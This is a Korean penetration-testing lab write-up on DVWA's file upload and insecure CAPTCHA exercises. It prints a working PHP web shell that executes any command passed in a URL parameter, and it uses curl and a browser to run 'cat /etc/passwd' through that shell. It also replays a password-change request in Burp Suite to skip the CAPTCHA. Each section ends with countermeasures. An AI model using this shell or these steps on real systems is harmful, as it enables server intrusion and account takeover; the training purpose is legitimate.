웹 모의해킹 실습(File upload & Insecure CAPCHA)

 

파일 업로드 취약점

웹 애플리케이션이 사용자의 파일 업로드를 허용할 때, 업로드된 파일의 형식, 내용, 경로 검증이 미흡하면 공격자는 악성 스크립트를 포함한 파일(PHP, ASP 등)을 업로드하여 원격 코드 실행이나 시스템 침투가 가능하다.

---

실습 과정

1. 파일 업로드 기능 접근
   • DVWA에서 File Upload 기능으로 이동한다.
2. 업로드 동작 확인
   • 브라우저에서 이미지를 업로드하라는 안내가 있으나, 실제로는 .php 확장자의 스크립트 파일도 업로드가 가능하다.

   • 

3. PHP 웹셸 생성
   • 원래는 weevely 도구로 PHP 웹셸을 만들려고 했으나, Python 버전 및 모듈 이슈로 스킵함.
   • 대신 인터넷에서 제공하는 간단한 웹셸 PHP 코드를 수동으로 작성하고 저장.
   • 예시 명령어:그리고 다음과 같은 내용을 입력:

   • nano webshell.php #파일 생성 및 수정 명령어

   • <?php
     if (php_sapi_name() === 'cli') {
         $cmd = $argv[1] ?? '';
     } else {
         $cmd = $_GET['cmd'] ?? '';
     }
     
     if ($cmd) {
         echo ">> $cmd\n";
         system($cmd);
     } else {
         echo "command: <br/>";
         echo '<form action="">';
         echo '<input type="text" name="cmd">';
         echo '<input type="submit">';
         echo '</form>';
     }
     ?>

4. 파일 업로드
   • 위에서 만든 webshell.php 파일을 업로드.

     

     

     
     
     
   • 업로드가 성공하면 다음과 같은 경로가 안내된다:

     

   • ../../hackable/uploads/webshell.php
   • 해당 디렉터리에서 2칸 위로(../../)
    
5. 웹 브라우저 접근
   • URL창에 다음 주소 입력:
   • http://<서버IP>/DVWA/hackable/uploads/webshell.php

     

     
     
   • 커맨드 입력 폼이 출력되며, 여기에 cat /etc/passwd 등을 입력하면 서버에서 해당 명령이 실행된다.

     

     
     
     
6. 터미널에서 curl로 명령 실행
   • 웹 브라우저 없이도 curl 명령어로 명령 실행이 가능하다.(php파일에 내가 따로 수정해나서)
   • curl "http://<서버IP>/DVWA/hackable/uploads/webshell.php?cmd=cat /etc/passwd"

---

🎯 공격 시나리오

• 사례: 중소기업 사내 게시판 이미지 업로드 취약점
  1. 사내 게시판에서는 직원들이 프로필 사진을 업로드할 수 있는 기능이 존재함.
  2. 공격자는 .php 확장자의 웹쉘을 이미지로 위장해 업로드함.
  3. 서버는 확장자나 파일 내용을 검증하지 않았기 때문에 공격 파일이 정상적으로 업로드됨.
  4. 업로드된 경로가 예측 가능했고, 공격자는 해당 URL을 통해 웹쉘에 접근.
  5. 서버 내 중요 파일에 접근(cat /etc/passwd), 시스템 권한 확인(whoami), 내부 네트워크 스캔 등으로 침투 범위 확장.
  6. 이후 시스템 전체 탈취, 계정 정보 유출, 랜섬웨어 설치로 이어짐.

---

대응 방안

1. 스크립트 실행 차단
   • 업로드 디렉토리에 실행 권한을 제거하여, PHP나 쉘 스크립트가 실행되지 않도록 설정한다.
2. 허용된 확장자만 필터링 (화이트리스트)
   • .jpg, .png 등 안전한 확장자만 허용하고, 나머지는 서버 측에서 업로드 차단한다.
3. 업로드 경로 노출 금지
   • 업로드된 파일의 위치(URL)를 외부에 노출하지 않거나 직접 접근을 제한한다.
4. 웹 서버와 파일 저장소 분리
   • 웹서버와 업로드 파일 저장소를 분리하여, 웹서버에서 업로드 파일 실행을 차단한다.

---

 

✅ Insecure CAPTCHA 취약점

Insecure CAPTCHA는 비밀번호 변경 등 중요한 작업을 할 때 CAPTCHA 인증을 요구하지만, 인증 절차가 제대로 보호되지 않거나 우회 가능한 구조를 가질 때 발생하는 취약점이다.

• 일반적으로 CAPTCHA는 사용자가 사람이 맞는지 확인하는 절차로, 자동화 공격이나 봇의 접근을 막기 위한 보안 절차이다.
• 하지만 CAPTCHA 검증이 한 번만 이뤄지고, 이후 단계(step 2)에서는 추가 검증 없이 요청을 허용할 경우, 공격자가 해당 요청을 가로채고 변조하여 악의적인 목적으로 재전송할 수 있다.

---

🧪 실습 과정

1. DVWA에서 "Insecure CAPTCHA" 취약점 페이지로 이동

   

2. 새 비밀번호를 입력하고, Google reCAPTCHA 체크박스를 클릭한 뒤 Change 버튼을 눌러 1단계 요청 전송

   

   
   
3. CAPTCHA를 통과하면 2단계 확인 폼이 뜨고, 다시 Change 버튼을 누르면 최종적으로 비밀번호 변경 요청(step=2)이 전송됨

   

   

   
   
   
4. Burp Suite의 proxy로 통시 과정을 엿 볼 수 있는데 http history에서 post 메서드로 통신한 요청들을 확인한다(DVWA의 URL과 통신한 과정들을 중심으로)

   

5. Burp Suite로 step=2 요청을 https history에서 가로채서 Re-issue(Repeater)로 복사

   

   
   
   
6. 요청의 비밀번호 값을 공격자가 원하는 값 1234->4321으로 수정 후 기존의 세션 쿠키를 유지한 상태에서 Send 요청  

   

   
   
   
   
7. CAPTCHA 없이도 서버는 요청을 수락하고, 비밀번호가 변경됨(클라이언트의 브라우저까지 도달하지 않고 공격자의 프록시에서 요청과 응답으로 비밀 번호를 바꿨다.)

   

8.  다시 로그인창으로 접속해 보면 비밀 번호가 4321로 접속이 되는 걸 볼 수 있다. 

 

---

🕵️‍♂️ 공격 시나리오 

🧍 피해자 김씨, 공공 와이파이 환경에서 한 쇼핑몰에 로그인하고 비밀번호를 변경하려 한다.

1. 김씨는 비밀번호 변경 페이지로 이동해 새 비밀번호 입력 + CAPTCHA 인증 후 Change 클릭 → 1단계 요청 전송
2. 2단계 확인 폼이 나타나고, 김씨가 다시 Change 버튼을 클릭해 step=2 요청을 전송
3. 이 와중에 같은 네트워크에 있던 공격자가 Burp Suite를 통해 HTTP 요청을 감청
4. 공격자는 김씨의 step=2 요청을 가로채어 Repeater로 복사
5. password_new와 password_conf 값을 **abcd1234**로 변경하고 Send
6. 서버는 CAPTCHA 재검증 없이 김씨 계정의 비밀번호를 abcd1234로 변경
7. 김씨는 이 사실을 모르고 로그아웃하거나 그대로 사이트를 사용함
8. 공격자는 이후 abcd1234로 해당 계정에 접근 가능

---

🛡️ 대응 방안

 

1. 모든 단계에 CAPTCHA 적용
   • 비밀번호 변경 등 중요 기능에는 step 1, step 2 모두에 CAPTCHA를 적용하여 중간 단계 우회를 방지한다.
2. 서버 세션 기반 검증 강화
   
   • CAPTCHA 인증 결과를 서버 세션에 저장하고, 이후 모든 요청에서 세션 값을 확인하여 우회 공격을 차단한다.
3. HTTPS 전면 적용
   
   • 중간자 공격(MITM)을 방지하기 위해 모든 인증 관련 페이지에 HTTPS를 적용한다. (예: 공공 와이파이 이용 시 보안 강화)
4. CAPTCHA 응답 재사용 방지
   
   • CAPTCHA 응답은 1회만 유효하도록 처리하여, 공격자가 이전 응답을 리피터 등으로 재사용하지 못하도록 제한한다.